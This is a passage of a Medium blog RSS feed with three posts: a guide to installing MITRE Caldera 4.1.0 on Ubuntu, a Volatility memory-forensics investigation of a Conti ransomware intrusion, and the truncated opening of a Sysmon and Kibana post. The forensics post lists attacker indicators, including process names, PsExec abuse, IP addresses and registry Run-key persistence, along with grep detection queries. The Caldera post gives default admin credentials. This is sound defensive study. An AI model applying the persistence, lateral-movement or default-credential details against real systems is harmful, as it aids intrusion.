<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Salim Salimov on Medium]]></title>
        <description><![CDATA[Stories by Salim Salimov on Medium]]></description>
        <link>https://medium.com/@salim.y.salimov?source=rss-30e28d4c7a65------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Z9-H0LhhhxF0pBFIqd6G1g.jpeg</url>
            <title>Stories by Salim Salimov on Medium</title>
            <link>https://medium.com/@salim.y.salimov?source=rss-30e28d4c7a65------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 03:19:50 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@salim.y.salimov/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Installing Mitre Caldera 4 on Ubuntu VM]]></title>
            <link>https://medium.com/@salim.y.salimov/installing-mitre-caldera-4-on-ubuntu-vm-fac970825352?source=rss-30e28d4c7a65------2</link>
            <guid isPermaLink="false">https://medium.com/p/fac970825352</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[vmware]]></category>
            <category><![CDATA[caldera]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Salim Salimov]]></dc:creator>
            <pubDate>Sat, 01 Jun 2024 19:19:36 GMT</pubDate>
            <atom:updated>2024-06-01T19:46:10.666Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XoPqjChSZ59tmcT69iRZpQ.png" /></figure><p>Hello Medium readers,</p><p>This mini post is mainly for people trying to install Caldera for the first time and having difficulties with it. The official documentation can be found <a href="https://caldera.readthedocs.io/en/latest/Installing-Caldera.html">here,</a> but the problem for newbies is that there is no easy troubleshooting guidance. Often the installation process is not smooth and straightforward. While helping a friend with this challenge, I decided to create this mini blog post for others facing the same issue.</p><p>To install Caldera or any other software, we often need to get some other software called dependencies. If we are lucky enough to have them already in our system by default, we may not need to do so, but as every operating system can have different configurations, I am going to assume that we need to.</p><p>Tried installing Caldera 5.0.0? Too much hassle to get it up and running? Just to get familiar with Caldera? No problem at all. Install Caldera 4.1.0 instead in a few easy steps:</p><p>In this tutorial, I am going to use a freshly installed Ubuntu 22.04 Linux as a Virtual Machine in VMware Workstation 17 Pro:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tXJVyDN8vOrnNZlZnwIRVQ.png" /></figure><p>Entire installation process will be on command line interface So, let’s start by opening our terminal (<em>the key combination </em><strong><em>Ctrl + Alt + T </em></strong><em>is the quickest way</em>) and run these commands to update the system:</p><pre>sudo apt update -y<br>sudo apt upgrade -y</pre><p>These commands can be copied and pasted all together into the terminal; it is not necessary to do it line by line. Press Enter provide your ubuntu user password and press Enter again.</p><blockquote>Please note that when you typing a password in terminal you will not be able to see it.</blockquote><p>To install or make sure we have already installed some dependency packages, we need to run the following few commands:</p><pre>sudo apt install -y python3 python3-pip git gcc python3-dev upx-ucl<br>wget https://go.dev/dl/go1.20.3.linux-amd64.tar.gz<br>sudo tar -C /usr/local -xzf go1.20.3.linux-amd64.tar.gz<br>export PATH=$PATH:/usr/local/go/bin<br>echo &#39;export PATH=$PATH:/usr/local/go/bin&#39; &gt;&gt; ~/.profile<br>source ~/.profile</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*pxiPks5jpMWv9Z4U21oCTA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*QuqLmW5ShhI2bN2YR4gRcA.png" /></figure><p>Then we can use the commands provided in the official instructions to get and install Caldera, making sure that in the Git clone command, we add the specific version — branch 4.1.0:</p><pre>git clone https://github.com/mitre/caldera.git --recursive --branch 4.1.0<br>cd caldera<br>pip3 install -r requirements.txt</pre><p>When installed on my own virtual machine, I had an error regarding “myst-parser”, so I ran this command to install it manually:</p><pre>sudo pip3 install myst-parser</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*T9o6FhgXERKyOrSv_qhpaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*d4M4zsHTSnppqwVNIdunUw.png" /></figure><p>Now our Caldera should be ready to run with this command:</p><pre>python3 server.py --insecure</pre><p>When you see All systems ready you should be good to go .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*8g_Uv-IC-79RUK1Jn05Jhw.png" /><figcaption>if you still see some errors like on this screen you can ignore them.</figcaption></figure><p>Now the server is active and running with default configurations where you can access Caldera via browser using localhost with port 8888 by typing in the URL bar one of the following options:</p><ul><li><strong>localhost:8888</strong></li><li><strong>127.0.0.1:8888</strong></li><li><strong>0.0.0.0:8888</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dej27wFFfZCSAi8MeriAVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CUbWjRqJM8P7RACHXib5dw.png" /></figure><p>If everything went well, you should be presented with Caldera’s web app login page where you can use the default login credentials:</p><ul><li>user: <strong>red </strong>pass: <strong>admin</strong></li><li>user: <strong>blue </strong>pass: <strong>admin</strong></li><li>user: <strong>admin</strong> pass: <strong>admin</strong></li></ul><p>After restarting your Ubuntu system you need to make sure you start your terminal and navigate to the Caldera folder to be able to start Caldera server again.</p><pre>cd caldera<br>python3 server.py - insecure</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*WSqkOcxJ2znsc_NgKYjssg.png" /></figure><p>Then you can log in as <strong>red</strong> or <strong>blue</strong> team via browser to explore, learn and test the caldera functionalities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ET4ZS0ZXCe3oBXhEUgqmOQ.png" /></figure><p>That’s basically all. I hope this was useful. Let me know if this worked for you or if you still have any issues or recommendations. I would make some corrections.</p><p>Thanks for stopping by, and please check out my other articles too! :)</p><p>Referances:</p><ul><li><a href="https://caldera.readthedocs.io/en/latest/Installing-Caldera.html">Installing MITRE Caldera - caldera documentation</a></li><li><a href="https://ubuntu.com/">Enterprise Open Source and Linux | Ubuntu</a></li><li><a href="https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation_html.html.html">Download VMware Workstation Pro</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fac970825352" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Studying “BazarCall to Conti Ransomware via Trickbot and Cobalt Strike”: Part 4-Memory forensics…]]></title>
            <link>https://medium.com/@salim.y.salimov/studying-bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike-part-4-memory-forensics-d455977a5e64?source=rss-30e28d4c7a65------2</link>
            <guid isPermaLink="false">https://medium.com/p/d455977a5e64</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[memory-forensics]]></category>
            <category><![CDATA[dfir]]></category>
            <dc:creator><![CDATA[Salim Salimov]]></dc:creator>
            <pubDate>Sun, 05 May 2024 10:22:07 GMT</pubDate>
            <atom:updated>2024-05-05T10:22:07.374Z</atom:updated>
            <content:encoded><![CDATA[<h3>Studying “BazarCall to Conti Ransomware via Trickbot and Cobalt Strike”: Part 4-Memory forensics with Volatility</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ESiC_3A7z6YICMDS6c6HpA.jpeg" /></figure><p><em>If you have missed previous parts you can check them out here </em><a href="https://medium.com/@salim.y.salimov/studying-bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike-part-1-bb6c30526e5f"><em>part 1</em></a><em> , </em><a href="https://medium.com/@salim.y.salimov/studying-bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike-part-2-9cc1bb366754"><em>part 2</em></a><em> and </em><a href="https://medium.com/@salim.y.salimov/studying-bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike-part-3-cb003ba5b4c1"><em>part 3</em></a><em> .Happy reading!</em></p><h3>Introduction:</h3><ul><li>Memory forensics involves examining a computer’s volatile memory (RAM) to find important digital evidence about how the system works and what users have done. By studying memory artifacts, investigators can discover things like running programs, network connections, and past actions. This is crucial for understanding what happened in digital investigations.</li><li>Memory forensics is a key part of digital investigations, providing important methods for understanding system activity and finding possible security issues. One of the main tools used for this is Volatility, which is open-source software known for its ability to find useful evidence in volatile memory.</li><li>Volatility is widely used by digital forensic experts worldwide. It helps them navigate through complex memory structures and find valuable information. It works on Linux, Windows, and MacOS computers.</li></ul><h3>Installation and Setup:</h3><ul><li>Installation instructions can be found on the <a href="https://github.com/volatilityfoundation/volatility3">official GitHub page.</a></li><li><a href="https://blog.onfvp.com/post/volatility-cheatsheet/">This website </a>provides list of the commands we can use with both older and newer versions of volatility.</li></ul><h3>Acquiring Memory Images:</h3><p>To acquire memory images, various methods can be employed, including tools like DumpIt or LiME. However, for the purposes of this article, I will be using pre-acquired Memory .dmp images from four machines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JE6DL_ucG6a1A2wRLGPbmg.png" /></figure><h3>Running Volatility:</h3><ul><li>To run Volatility, I use the Linux terminal with Volatility 3. Although the commands on the GitHub page use ‘python3 vol.py’, I’ve customized mine differently. I simply use ‘vol’ to recall Volatility and don’t need to provide the full path to the image file if the terminal is in the same directory.</li><li>For example, I use commands like</li></ul><pre>vol -f &lt;imagename.dmp&gt;  plugin_name &gt; plugin_name/FILESERV1plugin_name.txt &gt; /path/to/output.txt </pre><p><em>Here, ‘-f’ is used to specify the dump file, followed by the plugin name. Using ‘&gt;’ and a filename with a .txt extension helps save outputs into text files, aiding in simultaneous searching across all outputs.</em></p><ul><li>Since I have Volatility and Python installed system-wide on my Linux OS, I don’t need to provide a path to the program. However, your setup might have different configuration, so refer to the instructions on Volatility’s GitHub page accordingly.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*VRyxAaS6he4jQQG-pUwEYA.png" /><figcaption><a href="https://github.com/volatilityfoundation/volatility3">https://github.com/volatilityfoundation/volatility3</a></figcaption></figure><ul><li>Before I begin the investigation , I have created a text file named ‘My_VolatilityCommands.txt’ containing command templates. This makes it easier to edit multiple command lines when changing plugins. I use a text editor’s find and replace function (usually accessible with Ctrl+H) to quickly update the necessary words throughout the file. Here is an example screenshot.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bBFhJtPFATYxKRa4qO6O0Q.png" /></figure><p>As seen in the screenshots, I have two sets of commands: one saves outputs, and the other does not, to choose from depending on whether I need to save outputs or not.</p><blockquote>Tip: Do Not save the changes in the template after pressing the Replace All button. Just copy the needed commands and press Ctrl+Z to revert to the initial state to prepare for the next plugin.</blockquote><ul><li>To retrieve the Windows OS version and other information from all dump files, I ran the following command:</li></ul><pre>mkdir windows .info/ <br>vol -f FILESERV1-20210614-120056.dmp  windows .info &gt; windows .info/FILESERV1windows .info.txt  <br>vol -f SERV5-20210614-115639.dmp  windows .info &gt; windows .info/SERV5windows .info.txt <br>vol -f DC1-20210614-113939.dmp windows .info &gt;  windows .info/DC1windows .info.txt <br>vol -f WIN81-20210614-115233.dmp  windows .info &gt;  windows .info/WIN81windows .info.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UOpkXP-pXeoaJEPrdO41sg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*p8aWx12BYao_YNPXtV4Pmw.png" /><figcaption>As a result a folder and output text files have been created</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCKpZC8ayE6aml4ahjqpGw.png" /><figcaption>Here we can see that the machine ‘WIN81’ has a 64-bit Windows 10 OS.</figcaption></figure><ul><li>I have repeated the above procedure every time I needed to save the outputs of the new plugin I have used.Once I had the outputs of these plugins, I was able to open the containing folder of each plugin’s outputs and search all text files in this folder simultaneously using grep commands:</li></ul><pre>grep . *.txt                      #to list all containts<br>grep &lt;key_word&gt; &lt;filename.txt&gt;    #to search inside single text file  <br>grep &lt;key_word&gt; *.txt             #to search inside all text files simultaneously</pre><p><em>These commands allowed me to quickly sift through the text files containing plugin outputs, aiding in identifying relevant information and potential indicators of compromise.</em></p><h3>The Investigation:</h3><h4>1. List Processes and Process Trees</h4><blockquote>Starting with “<strong>pslist” -</strong>this is a list of running processes on the time the dump file has been captured. It is a good starting point, because we can get a picture of what was happening on the computer system at that time, so we can spot any suspicious activities and take notes for further investigation.</blockquote><blockquote>The process tree plugin <strong>“pstree”</strong> shows the relations between child and parent processes. Knowing which process is running under which parent process is a valuable information to understand how a malicious ones occurred in the system.</blockquote><ul><li>I have opened terminal in pslist folder and ran <strong>“grep . *.txt” . </strong>visually scanned for unusual process names in the results.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q0J3WYmM6j8rav51lij3xw.png" /><figcaption><em>spotted few processes named “</em><strong><em>tdr*.exe” </em></strong><em>whith unusual names and I have taken notes of their PIDs and PPID for further investigation</em></figcaption></figure><ul><li>Next, I ran the same command in the terminal but from the other folder, <strong>pstree</strong>. Again, I looked for any unusual process names, as well as any unusual parent-child process relationships and other abnormal details. I raised my suspicion about several unfamiliar process names, but after looking them up on the internet, they appeared to be legitimate Windows processes. However, I can see the same <strong>tdr*.exe</strong> processes running under <strong>wermgr.exe</strong> as a parent process. This parent process is also a legitimate Windows component but seems to have been manipulated by malicious actors. There is also another child process running under same parent, <strong>svchost.exe</strong>, which appears to be another abused Windows component because this process should <strong>always</strong> be running under <strong>services.exe</strong>, and anything else is a strong indicator of a compromised system. I added the newly found suspicious activities to my notes, which I am going to use as keywords in the following steps of my investigation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sHmbVCcVWdEHXplNgEZbAg.png" /><figcaption>This screenshot shows the suspicious process tree details.</figcaption></figure><p><em>Initial Parent process can be traced back using PPID values if needed.</em></p><h4>2. Process Memory Dump</h4><blockquote>PID values can also be used to dump the process memory to a smaller “<strong>.dmp” </strong>file for easier analysis .</blockquote><ul><li>As next step i have decided to dump the memory of the 5 suspicious processes found in the previous steps, using the commands below:</li></ul><pre>mkdir memmap_memdump/ # this line creates a folder where the output files to be stored<br>vol -f WIN81-20210614-115233.dmp -o memmap_memdump/ windows.memmap --pid 7580--dump <br>vol -f WIN81-20210614-115233.dmp -o memmap_memdump/ windows.memmap --pid 10076 --dump <br>vol -f WIN81-20210614-115233.dmp -o memmap_memdump/ windows.memmap --pid 2900 --dump <br>vol -f WIN81-20210614-115233.dmp -o memmap_memdump/ windows.memmap --pid 8680 --dump <br>vol -f WIN81-20210614-115233.dmp -o memmap_memdump/ windows.memmap --pid 768 --dump <br>#please note these commands may need some more time to complete their task <br></pre><ul><li>After dumping has completed I could navigate to the output location and see the newly dumped files in there. As the output file names been generated by their PID values i renamed them by adding the process names for easy distinguishing which one is which.</li><li>To analyze these processes memory dumps I have used combination of “<strong>strings”</strong> command and “<strong>grep”</strong> to search directly:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RYfMcpDsx935H-XwcpxRiQ.png" /></figure><pre>strings &lt;process_dump_file_name&gt; | grep &lt;key word&gt; <br>#or <br>strings *.dmp | grep &lt;key word&gt;</pre><p><em>This command worked well but not suitable to search in multiple files,as it doesn&#39;t show the source file in the string lines. To solve this I had to save strings outputs of each file individually to text files, then search in them with </em><strong><em>“grep”:</em></strong></p><pre>strings svchost_pid.8680.dmp &gt; svchost_strings.txt<br>strings wermgr_pid.748.dmp &gt; wermgr_srings.txt<br>strings tdr5BDD_pid.2900.dmp &gt; tdr5BDD_strings.txt<br>strings tdr2269_pid.10076.dmp &gt; tdr2269_strings.txt<br>strings tdrE394_pid.7580.dmp &gt; tdrE394_strings.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5i0kT-5RVDWebPvxNbPmZA.png" /></figure><ul><li>When I searched for “<strong>http and https” </strong>to find what network activities these processes had,scrolling throughout the strings I started seeing some very suspicious links, confirmed if they are malicious by checking in VirusTotal.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ev5CqLwUNPYGZ5jIP2VUw.png" /></figure><ul><li>Scrolling down seen some more malicious links and added all to my notes for checking out later on</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*unsagvNJ1TpJ-hcx0QlsZQ.png" /></figure><p><em>while </em><strong><em>wermgr.exe</em></strong><em> and </em><strong><em>svchost.exe</em></strong><em> activities might not all be malicious, all the tdr*.exe processes’ activities I believe serve malicious purposes even they connect to legitimate URLs .</em></p><h4><strong>3.Listing Dll processes</strong></h4><ul><li>Again I ran “<strong>windows.dlllist” </strong>on all 4 dump files and saved outputs to text files.</li></ul><pre>mkdir windows.dlllist/ <br>vol -f FILESERV1-20210614-120056.dmp  windows.dlllist &gt; windows.dlllist/FILESERV1windows.dlllist.txt  <br>vol -f SERV5-20210614-115639.dmp  windows.dlllist &gt; windows.dlllist/SERV5windows.dlllist.txt <br>vol -f DC1-20210614-113939.dmp windows.dlllist &gt;  windows.dlllist/DC1windows.dlllist.txt <br>vol -f WIN81-20210614-115233.dmp  windows.dlllist &gt;  windows.dlllist/WIN81windows.dlllist.txt</pre><ul><li>used grep to search in all outputs together. As keywords i have tried</li></ul><p><strong>“Temp”</strong> — that brought up same “<strong>tdr*.exe”</strong> processes I found earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-hfEb01WpqUrIV3IgptHOw.png" /></figure><h4>4.CMDLINE</h4><ul><li>As i was not able to see command lines with “<strong>dlllist”</strong> i am going to run the dedicated plugin for that <strong>“windows.cmdline”</strong> and of course save the outputs in text files and start searching . First keyword to search i decided to be <strong>“http”</strong> to see if there is any links included in the command lines.</li></ul><pre>mkdir windows.cmdline/ <br>vol -f FILESERV1-20210614-120056.dmp  windows.cmdline&gt; windows.cmdline/FILESERV1windows.cmdline.txt  <br>vol -f SERV5-20210614-115639.dmp  windows.cmdline&gt; windows.cmdline/SERV5windows.cmdline.txt <br>vol -f DC1-20210614-113939.dmp windows.cmdline&gt;  windows.cmdline/DC1windows.cmdline.txt <br>vol -f WIN81-20210614-115233.dmp  windows.cmdline&gt;  windows.cmdline/WIN81windows.cmdline.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MF8k7LO6ioIC2far_gS2Eg.png" /></figure><p><em>Two command lines (“</em><strong><em>cmd.exe”</em></strong><em> and “</em><strong><em>powershell.exe” </em></strong><em>instances </em><strong><em>)</em></strong><em> returned as results with same powershell command has ran in “</em><strong><em>win81”</em></strong><em> machine. Then i have checked their parent processes searching for their </em><strong><em>PPIDs </em></strong><em>in the </em><strong><em>pslist,</em></strong><em> </em><strong><em>psscan,pstree </em></strong><em>outputs to trace back the process tree:</em></p><pre>grep 9348 WIN81_windows.psscan.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PEOlPnvf_GHMzHkv9PGrCw.png" /><figcaption>From this search we can see the powershell.exe(pid5976) instance on second commandline is a child of cmd.exe(pid9348) instance from the first commandline which has another child process as well conhost.exe(pid6776). The parent of the cmd.exe is a process with PID 972.</figcaption></figure><ul><li>Trying to find out the initial process I traced back the process tree as much as possible as not all outputs had needed information :</li></ul><p>(below resarch results not sure how to interpret exactly )</p><blockquote>wininit.exe(584)=&gt;services.exe(700)=&gt;svchost.exe(2268)=&gt;taskhostw.exe(2268)=&gt;[cmd.exe(9348)=&gt; powershell.exe(5976) and conhost.exe(6776)]</blockquote><p>to see what happened next I followed the child process of powershell.exe (5976):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BvIiusMi6nJ8LFykf1rgHQ.png" /></figure><blockquote><strong>powershell.exe (5976)</strong> created <strong>conhost.exe(9828)</strong></blockquote><p>So conhost.exe (6776) and (9828) are end of tree process instances as they are the last ones with no child processes.</p><ul><li>Back to cmdline outputs - searched if there was other powershell commands has ran and found another one but still part of process tree we have seen above .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OihQYwPuQshmBNedhC7Zrw.png" /></figure><p>Dumped these processes and started searching for malicious activities inside them. On all of them I have found Conti URLs with <strong>.xyz</strong> top level domains, that are present multiple times in each of process dumps, additionally there was a message requesting victims to download and install <strong>Tor</strong> browser and <strong>.onion</strong> URL provided for communication:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-YlpFRu7nNuadFv4xTEZLA.png" /></figure><p><em>I have observed other suspicious URLs too: </em><a href="http://code.jquery.com/"><em>http://code.jquery.com/</em></a><em> , </em><a href="https://ups.analytics.yahoo.com/ups/58456/sync?_origin=0&amp;uid="><em>https://ups.analytics.yahoo.com/ups/58456/sync?_origin=0&amp;uid=</em></a><em> , and some incomplete URLs.</em></p><h4>5.Filescan</h4><p>This “windows.filescan” plugin tool should give me some idea of what files have been circulating around the company network, so my keyword to search here will be “share” to see any file activities in the shared directories.</p><ul><li>I have already saved the outputs of this Volatility plugin from the main dump files, so I go straight to grep into the text outputs. My keyword this time was “share,” looking for any files located in shared folders on the local network. To exclude any legitimate Windows and security tools activities, I crafted the following query:</li></ul><pre> grep share *.txt| grep -v microsoft | grep -v ossec</pre><p>I ran this query from the filescan outputs folder, searching into all text files in this location for words that include “share”. Then, the pipe “|” symbol passes the output to the next function, which is “grep -v &lt;keyword&gt;” to exclude strings or lines that have the given keyword. The above command excludes two keywords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oFgiaNwnX7nzOwPe4QYLWw.png" /></figure><ul><li>As a result, I found a couple of executable files in the DC1 machine — one with the unusual name “fQumH.exe” and another one “PsExec.exe,” which is a legitimate Microsoft Sysinternals utility. However, in this case, I believe it has been used for malicious purposes by threat actors. I went back to check in other outputs if there is anything else related to them, but unfortunately, I couldn’t find much at this point.</li><li>Then i decided to do a search into the strings of all main machine dumps (using two keywords with grep). There wasn’t much to see apart from the fact that the path to the files appears many times in the output.</li></ul><pre>strings *.dmp | grep &#39;fQumH.exe\|PsExec.exe&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0yuVPqzZ9vyC80uq_OdbiA.png" /></figure><p>String lines show some paths starting with “.\” which indicates that this line has been used in a command-line tool or is part of a command. Some other lines look like part of commands too. I moved to my next step.”</p><h4>6. Dumping files</h4><p>When i find malicious files i would like to extract the actual files for further analysis. I can try to do that with<strong> “windows.filedump”</strong> plugin. The <strong>“windows.filedump”</strong> plugin does not directly extract the actual executable files (EXE files) from memory but extracts the file’s contents, including any data or code stored in memory .Not every file would be available to be dumped but whatever is mapped into the Ram memory should be. Also extracted files might not be fully functional but might have enough details to analize its nature and activities . So I have used the following command to dump the files from the the previous output.</p><pre>mkdir filedump<br>vol -f DC1-20210614-113939.dmp windows.dumpfiles --virtaddr 0xd00f17e06960 <br>vol -f DC1-20210614-113939.dmp windows.dumpfiles --virtaddr 0xd00f17e14e80 <br>mv *.img filedump</pre><p><em>This set of commands creates a folder to save the files , then using DC1 machine memory dump as a source dumps the files by given virtual address, and moves the extracted files in the created folder .Dumped file names are genarated by the tool as seen on the screenshot with </em><strong><em>.img</em></strong><em> extenssion.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gne_IzzVPIxzgMi7PaEnKQ.png" /></figure><h4>7.Network communications</h4><blockquote>I assume that No need to provide how I save the outputs to text files anymore.</blockquote><p>Using “<strong>windows.netscan”</strong> and <strong>“windows.netstat”</strong> we can see network activities and look for suspicious connections and processes that communicate with malicious URLs.Here I have found few more Ip adresses associated with some other processes. To bring all my findings into a single screenshot I have combined all findings and keywords into a single grep query applyed on the outputs of these plugins:</p><pre>grep-format  &#39;powershell\|smartscreen\|SearchApp\|taskhostw\|tdr\|conhost\|fQumH\|PsExec\|wermgr\|149.248.52.187\|88.80.147.101\|104.46.127.225\|46.209.140.220&#39; *.txt</pre><p>“grep-format” is an additional functuon i have added to grep to organize output columns in staight lines for better readability and the keywords are made of all my previous findings .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bZshpe69T0KCaYAYUhy9pg.png" /><figcaption>netscan output</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3L5oum18A7X0EbZcskbUhg.png" /><figcaption>netstat output</figcaption></figure><h4>8.Registry</h4><p><strong>“windows.registry.printkey”</strong></p><p>Here I wanted to check these two registry keys:</p><blockquote>Software\Microsoft\Windows\CurrentVersion\Run<br>Software\Microsoft\Windows\CurrentVersion\RunOnes</blockquote><p>These are most common keys used by malware to maintain presistense throughout the system reboots</p><pre>vol -f WIN81-20210614-115233.dmp windows.registry.printkey --key &quot;Software\Microsoft\Windows\CurrentVersion\Run&quot;<br>vol -f WIN81-20210614-115233.dmp windows.registry.printkey --key &quot;Software\Microsoft\Windows\CurrentVersion\RunOnce&quot;<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B_gAeFOZYgf9yWgMqXrsfg.png" /></figure><p>Unfortunately i couldn’t see anything interesting there apart from few Onedrive entries that i belive are set by malicious actors but need to be examined bit deeper to prove this concept.</p><h4>9.Scanning for Malware with “windows.malfind” plugin:</h4><p>By scrolling in the results i only seen exe files detected by volatility malfind plugin, some appear to be incomplete (.ex instead of .exe) i guess its because the name length exceeds the the maximum length for file name set in the volatility configuration.</p><p>To display all exe and dll files (if exist in the outputs ) i have used this query applied to malfind outputs:</p><pre>grep &#39;.ex\|.dll&#39; *.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hrOvVVVFR21bDZQTmvXsYQ.png" /></figure><p>In the results there are processes I am already familiar with, from previous findings but I saw some new ones too.</p><h3>9.End of the investigation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WuyTk-efehLfyxUfn5nnng.png" /><figcaption>Malfind outputs and my IOC collection</figcaption></figure><p>After collecting Significant ammount of IOCs I am still not ready with a good summary of the attack’s activities to create a full report , but with correlating with other tools used in my prevoious blogs parts 1,2 and 3 also may need to use some additional tools or few more searches in the logs analized previouslu I will try to complete my task on next part of this blog series.</p><p>Thank you all that reading my blogs , hope you find them usefull and informative. See you again on my next one.</p><h3>Referances:</h3><p>preview picture: <a href="https://www.freepik.com/">https://www.freepik.com</a></p><ul><li><a href="https://thedfirreport.com/">The DFIR Report | Actionable Cyber Threat Intelligence</a></li><li><a href="https://volatilityfoundation.org/">The Volatility Foundation - Promoting Accessible Memory Analysis Tools Within the Memory Forensics Community</a></li><li><a href="https://blog.onfvp.com/post/volatility-cheatsheet/">Volatility 3 CheatSheet</a></li><li><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/psexec">PsExec - Sysinternals</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d455977a5e64" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Studying “BazarCall to Conti Ransomware via Trickbot and Cobalt Strike”: Part 3]]></title>
            <link>https://medium.com/@salim.y.salimov/studying-bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike-part-3-cb003ba5b4c1?source=rss-30e28d4c7a65------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb003ba5b4c1</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[kibana]]></category>
            <category><![CDATA[sysmon]]></category>
            <category><![CDATA[elasticsearch]]></category>
            <category><![CDATA[hunting]]></category>
            <dc:creator><![CDATA[Salim Salimov]]></dc:creator>
            <pubDate>Sat, 13 Apr 2024 14:43:18 GMT</pubDate>
            <atom:updated>2024-04-21T15:27:35.190Z</atom:updated>
            <content:encoded><![CDATA[<h3>Investigating &amp; Hunting in Sysmon Logs using<br>Elasticsearch and Kibana.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrxACOtXyOx5ClkwBTwSSg.jpeg" /></figure><blockquote>Please check out <a href="https://medium.com/@salim.y.salimov/studying-bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike-part-1-bb6c30526e5f">part1</a> and <a href="https://medium.com/@salim.y.salimov/studying-bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike-part-2-9cc1bb366754">part 2</a> if you have not done yet.</blockquote><p>Hello everyone , welcome back to the part 3 of this blog series.This time I will be looking at Sysmon event logs using Elasticsearch and Kibana.</p><h3>Elasticsearch</h3><p>is a versatile search and analytics engine known for its speed and scalability. It’s well-suited for handling large volumes of data across various applications. For more information, you can visit the official website: <a href="https://www.elastic.co/about/">Elasticsearch Website</a>.</p><h3>Kibana</h3><p>is the user-friendly web interface of Elasticsearch, assisting you in visualizing and exploring your data for easy understanding and analysis.</p><h3>Installation and configuration</h3><p>You can read and follow instructions on the official website.They provide free download and setup instructions <a href="https://www.elastic.co/downloads/enterprise-search?elektra=organic&amp;storm=CLP&amp;rogue=free-and-open-gic">here.</a></p><h3>The Sysmon logs</h3><p>I have extracted them from Kape VHDX disk images, By simply mounting them in my Windows VM.</p><figure><img alt="" 